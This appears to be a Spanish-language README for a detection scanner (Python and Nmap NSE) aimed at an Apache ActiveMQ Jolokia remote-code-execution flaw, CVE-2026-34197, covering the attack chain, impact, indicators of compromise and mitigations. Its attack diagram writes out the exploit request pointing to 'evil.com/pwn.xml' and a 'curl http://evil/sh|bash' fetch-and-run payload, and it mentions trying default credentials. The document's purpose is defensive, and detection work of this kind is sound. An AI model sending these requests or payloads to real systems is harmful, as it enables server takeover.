
Detecta RCE en Apache ActiveMQ Classic (CVE-2026-34197) a través de la API Jolokia con scripts de Python y Nmap NSE, comprobando el acceso no autenticado y la vulnerabilidad de la versión.
Una vulnerabilidad de ejecución remota de código en Apache ActiveMQ Classic que permite a un atacante ejecutar código arbitrario invocando la operación MBean addNetworkConnector(String) a través de la API Jolokia (/api/jolokia/). El atacante incrusta un parámetro brokerConfig malicioso que apunta a un archivo XML de Spring remoto, el cual ActiveMQ descarga y analiza, instanciando objetos Java arbitrarios y logrando la ejecución de código.
En las versiones de ActiveMQ 6.0.0 hasta 6.1.1, el endpoint de Jolokia está completamente sin autenticación, lo que convierte esto en una RCE sin autenticación y sin interacción del usuario.
Esta vulnerabilidad estuvo oculta en el código base durante 13 años antes de su descubrimiento con asistencia de IA.
| Campo | Detalle |
|---|---|
| ID CVE | CVE-2026-34197 |
| Proveedor | Apache Software Foundation |
| Producto | Apache ActiveMQ Classic |
| Versiones Afectadas | Todas las versiones anteriores a 5.19.4 y 6.2.3 |
| RCE sin Autenticación | Versiones 6.0.0 hasta 6.1.1 (Jolokia no tiene autenticación) |
| CVSS v3.1 | 8.8 (Alta) |
| CWE | CWE-94 — Control Inadecuado de la Generación de Código |
| Vector de Ataque | Red |
| Autenticación | Requerida en 5.x; ninguna en 6.0.0 hasta 6.1.1 |
| Interacción del Usuario | Ninguna |
| Madurez del Exploit | PoC público disponible |
| Corregido En | ActiveMQ Classic 5.19.4, 6.2.3 |
| Antigüedad del Fallo | ~13 años en el código base |
| Descubrimiento | Investigación de vulnerabilidades asistida por IA |
Apache ActiveMQ Classic es uno de los brokers de mensajería de código abierto más ampliamente implementados en el ecosistema Java. Implementa la especificación Java Message Service (JMS) y sirve como la columna vertebral de la comunicación asíncrona en miles de entornos empresariales en todo el mundo.
ActiveMQ maneja desde colas de procesamiento de pedidos y pipelines de transacciones financieras hasta flujos de telemetría IoT y buses de eventos de microservicios. Si su organización utiliza microservicios basados en Java, arquitectura orientada a eventos o cualquier forma de mensajería asíncrona, hay una buena probabilidad de que ActiveMQ esté en algún lugar de la pila tecnológica.``` ActiveMQ Broker ┌───────────────────────┐ │ │ ┌──────────┐ │ ┌───────────────┐ │ ┌──────────┐ │ Producer │───────▶│ │ Message │ │───────▶│ Consumer │ │ (App A) │ send │ │ Queue / │ │ recv │ (App B) │ └──────────┘ │ │ Topic │ │ └──────────┘ │ └───────────────┘ │ ┌──────────┐ │ │ ┌──────────┐ │ Producer │───────▶│ ┌───────────────┐ │───────▶│ Consumer │ │ (App C) │ │ │ Jolokia │ │ │ (App D) │ └──────────┘ │ │ API (:8161) │ │ └──────────┘ │ └───────┬───────┘ │ └───────────┼───────────┘ │ ⚠️ CVE-2026-34197 Attack surface here
Cuando un atacante compromete ActiveMQ, no solo obtiene una shell en un servidor. Se sitúa en el **centro de cada flujo de mensajes** de la organización, capaz de leer, modificar, redirigir o inyectar mensajes entre sistemas críticos.
---
## Análisis en Profundidad de la Vulnerabilidad
### La Arquitectura: Jolokia y JMX
**JMX** (Java Management Extensions) es la interfaz de gestión estándar para aplicaciones Java. Expone "MBeans" (Managed Beans) que permiten monitorear y controlar los componentes internos de la aplicación. ActiveMQ expone MBeans para gestionar brokers, colas, temas, conexiones y más.
**Jolokia** es un puente JMX sobre HTTP. Traduce las operaciones JMX a una API JSON RESTful, lo que permite gestionar aplicaciones Java mediante solicitudes HTTP en lugar de requerir un cliente JMX dedicado.
ActiveMQ Classic incluye Jolokia integrado, accesible en `/api/jolokia/` en el puerto de la consola web (por defecto: 8161).```
Traditional JMX Access:
┌──────────┐ ┌──────────────┐
│ JConsole │ ────── JMX Protocol ─────────> │ ActiveMQ │
│ │ (requires JMX client) │ MBeans │
└──────────┘ └──────────────┘
Jolokia HTTP Access:
┌──────────┐ ┌──────────────┐
│ curl / │ ── POST /api/jolokia/ ───────> │ ActiveMQ │
│ browser │ (just needs HTTP) │ MBeans │
└──────────┘ └──────────────┘
⬆️
Anyone with HTTP access can
invoke MBean operations
Aquí es donde comienzan los problemas. Jolokia expone todo el poder de la gestión JMX a través de una simple API HTTP. Y una de las operaciones MBean disponibles en el broker es addNetworkConnector(String).
La operación addNetworkConnector(String) está diseñada para crear puentes de red entre instancias del broker ActiveMQ. Acepta una cadena URI que describe cómo conectarse a otro broker.
ActiveMQ soporta un esquema URI vm:// para conexiones de broker en proceso. Estas URIs admiten un parámetro brokerConfig que apunta a un archivo de configuración XML de Spring. Y el XML de Spring puede instanciar objetos Java arbitrarios.
Aquí está la cadena completa:``` Step 1: Attacker sends POST to /api/jolokia/ ┌────────────────────────────────────────────────────────────┐ │ POST /api/jolokia/ │ │ { │ │ "type": "exec", │ │ "mbean": "org.apache.activemq:type=Broker,brokerName= │ │ localhost", │ │ "operation": "addNetworkConnector", │ │ "arguments": [ │ │ "vm://b?brokerConfig=xbean:http://evil.com/pwn.xml" │ │ ] │ │ } │ └────────────────────────────────────────────────────────────┘ │ ▼ Step 2: ActiveMQ parses the vm:// URI Sees brokerConfig=xbean:http://evil.com/pwn.xml │ ▼ Step 3: ActiveMQ fetches http://evil.com/pwn.xml (outbound HTTP request from the broker) │ ▼ Step 4: The XML is parsed as Spring configuration Spring instantiates beans defined in the XML │ ▼ Step 5: Malicious bean executes arbitrary Java code ┌──────────────────────────────────────────┐ │ │ │ │ │ │ │ /bin/bash │ │ -c │ │ curl http://evil/sh|bash │ │ │ │ │ │ │ │ │ └──────────────────────────────────────────┘
ActiveMQ está haciendo exactamente lo que fue diseñado para hacer: cargar una configuración de broker. El problema es que la fuente de configuración está controlada por el atacante, y Spring XML es efectivamente un formato de ejecución de código.
### La brecha de autenticación
Esto es lo que eleva la vulnerabilidad de grave a crítica:
| Versión de ActiveMQ | Estado de autenticación de Jolokia | Impacto |
|:---:|:---:|:---:|
| 5.x (< 5.19.4) | Autenticado (valores predeterminados: admin:admin) | RCE autenticado, a menudo trivialmente evadido |
| 6.0.0 a 6.1.1 | **Completamente sin autenticación** | **RCE sin autenticación** |
| 6.1.2 a 6.2.2 | Autenticado | RCE autenticado |
| 5.19.4+ / 6.2.3+ | Parcheado | No vulnerable |
En ActiveMQ 6.0.0 hasta 6.1.1, el endpoint de Jolokia requiere **cero autenticación**. Cualquiera que pueda alcanzar el puerto 8161 obtiene ejecución remota de código sin autenticación.
Incluso en versiones donde Jolokia requiere autenticación, las credenciales predeterminadas `admin:admin` son ampliamente conocidas y con frecuencia se dejan sin cambiar en entornos de desarrollo, pruebas y producción.
---
## Análisis de impacto
**Impacto inmediato en el host del broker:**
- Ejecución remota de código completa con los privilegios del proceso de ActiveMQ
- Acceso a todas las colas de mensajes, temas y mensajes almacenados
- Capacidad de leer/modificar/inyectar mensajes en tránsito
- Acceso a archivos de configuración, almacenes de claves y credenciales almacenadas
**Impacto posterior (mediante manipulación de mensajes):**
- Inyección de mensajes maliciosos en colas de procesamiento
- Modificación de transacciones financieras, pedidos o comandos en vuelo
- Interceptación de datos sensibles que fluyen a través del broker
- Interrupción de todos los servicios dependientes de mensajes
**Amplificación del riesgo empresarial:**
- ActiveMQ se encuentra en la intersección de cada aplicación que lo utiliza
- Un único broker comprometido puede afectar a docenas de servicios conectados
- Los brokers de mensajes suelen estar posicionados en zonas de red de confianza con acceso amplio
- El movimiento lateral es sencillo desde la posición de red del broker```
What an attacker can do after exploitation:
┌─────────────────────────────────────────────────────────┐
│ Compromised ActiveMQ Broker │
└────┬───────────┬───────────┬───────────┬──────────┬─────┘
│ │ │ │ │
▼ ▼ ▼ ▼ ▼
Read/modify Inject Pivot to Intercept Deploy
messages malicious connected creds in persistent
in transit messages systems messages backdoor
| Versión | Estado |
|---|---|
| ActiveMQ Classic 6.2.3+ | Parcheado |
| ActiveMQ Classic 5.19.4+ | Parcheado |
| ActiveMQ Classic 6.0.0 a 6.2.2 | Vulnerable (6.0.0 a 6.1.1 = sin autenticación) |
| ActiveMQ Classic < 5.19.4 | Vulnerable (autenticado) |
| ActiveMQ Artemis | No afectado (código base diferente) |
El script en Python detecta instancias vulnerables de ActiveMQ mediante un análisis de varios pasos.
Cómo funciona:
/api/jolokia/ es accesible sin autenticación (HTTP 200 = abierto, 401 = requiere autenticación)admin:admin, user:user, admin:activemq/admin/ y / mediante coincidencia de patrones regexorg.apache.activemq:type=Broker para confirmar que existe la ruta de explotaciónNo se envían payloads de explotación. No se ejecutan comandos. El escáner solo observa la accesibilidad del endpoint y la información de versión.
Uso:```bash
pip install -r requirements.txt
python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t http://activemq-host:8161
python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t http://10.0.0.1:8161 -u admin -p secret
python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -f targets.txt -o results.json -v
python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t https://activemq-host:8161
python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t http://10.0.0.1:8161 --timeout 20
**Opciones:**
| Bandera | Descripción | Predeterminado |
|------|-------------|---------|
| `-t`, `--target` | URL de destino única (p. ej., `http://host:8161`) | — |
| `-f`, `--file` | Archivo con URLs de destino, una por línea (se admiten comentarios con `#`) | — |
| `-u`, `--username` | Nombre de usuario para la autenticación de Jolokia | — |
| `-p`, `--password` | Contraseña para la autenticación de Jolokia | — |
| `-o`, `--output` | Guardar resultados en un archivo JSON | — |
| `--timeout` | Tiempo de espera de conexión en segundos | `10` |
| `--verify-ssl` | Habilitar verificación de certificados SSL | Deshabilitado |
| `-v`, `--verbose` | Salida detallada con información completa | Desactivado |
**Ejemplo de salida:**```
[*] CVE-2026-34197 Apache ActiveMQ Jolokia RCE Scanner
[*] Scanning 1 target(s)...
======================================================================
Target: http://10.0.0.1:8161
Scan Time: 2026-04-14T15:30:00Z
Risk Level: CRITICAL
======================================================================
Jolokia Accessible: YES
Requires Auth: NO (unauthenticated)
ActiveMQ Version: 6.1.0
Vulnerable: YES
Unauth RCE (6.0-6.1): YES — CRITICAL
Broker MBean Access: YES
Details:
- Jolokia API accessible WITHOUT authentication
- Detected ActiveMQ version: 6.1.0
- Version 6.1.0 is in unauthenticated range (6.0.0 - 6.1.1)
CRITICAL: No auth required!
- Broker MBean accessible: [org.apache.activemq:type=Broker,...]
======================================================================
[*] Scan Complete: 1 targets scanned
[*] Vulnerable: 1 | Critical: 1
======================================================================
sudo cp CVE-2026-34197_ActiveMQ_Jolokia.nse /usr/share/nmap/scripts/ sudo nmap --script-updatedb
nmap -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia
nmap -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia 10.0.0.0/24
nmap -p 8161,61616,443,8080 --script CVE-2026-34197_ActiveMQ_Jolokia
nmap -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia -iL targets.txt
nmap -sV -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia
**Ejemplo de salida de Nmap:**```
PORT STATE SERVICE
8161/tcp open http
| CVE-2026-34197_ActiveMQ_Jolokia:
| VULNERABLE:
| Apache ActiveMQ Jolokia RCE (CVE-2026-34197)
| State: VULNERABLE
| Risk level: CRITICAL
| ActiveMQ Version: 6.1.0
| Jolokia Accessible: true (unauthenticated)
| Description:
| CRITICAL: Jolokia API is accessible without authentication on
| ActiveMQ 6.1.0, enabling unauthenticated remote code execution
| via addNetworkConnector MBean.
| References:
|_ https://nvd.nist.gov/vuln/detail/CVE-2026-34197
Si quieres comprobarlo manualmente con curl:```bash
curl -sk http://:8161/api/jolokia/ | python3 -m json.tool
curl -sk -u admin:admin http://:8161/api/jolokia/ | python3 -m json.tool
curl -sk http://:8161/api/jolokia/search/org.apache.activemq:type=Broker,brokerName=*
| python3 -m json.tool
Si el Paso 1 devuelve una respuesta JSON con información del agente Jolokia, el endpoint no está autenticado. Si el Paso 2 funciona con credenciales predeterminadas, tienes acceso autenticado. De cualquier manera, si el MBean del broker es accesible, la ruta de explotación existe.
---
## Indicadores de Compromiso
Vigila estas señales en tu entorno:
| Indicador | Dónde comprobar | Qué buscar |
|:---|:---|:---|
| Acceso a Jolokia | Registros de acceso de la consola web | POST a `/api/jolokia/` que contenga `addNetworkConnector` |
| Obtención saliente | Registros de red / firewall | Solicitudes HTTP desde ActiveMQ a hosts externos inesperados |
| Carga de Spring XML | Registros de ActiveMQ | Referencias a URIs `xbean:http://` |
| Conectores de red | Configuración del broker | URIs `vm://` con parámetros `brokerConfig` que no creaste |
| Procesos hijos | Monitoreo de procesos | Procesos inesperados generados por el proceso Java de ActiveMQ |
**Comandos de investigación:**```bash
# Check ActiveMQ logs for suspicious Jolokia operations
grep -r "addNetworkConnector\|brokerConfig\|xbean:http" /var/log/activemq/
# Check for unexpected network connectors in running broker
curl -sk http://<TARGET>:8161/api/jolokia/read/org.apache.activemq:type=Broker,brokerName=localhost/NetworkConnectors
# Monitor for unexpected outbound connections from the ActiveMQ process
ss -tnp | grep java
# Check for unexpected child processes
ps aux --forest | grep -A5 activemq
Acciones inmediatas (hazlas ahora):
/api/jolokia/admin:admin en la consola webA corto plazo (esta semana):
addNetworkConnector)A largo plazo:
Kerem Oruç — Ingeniero de Ciberseguridad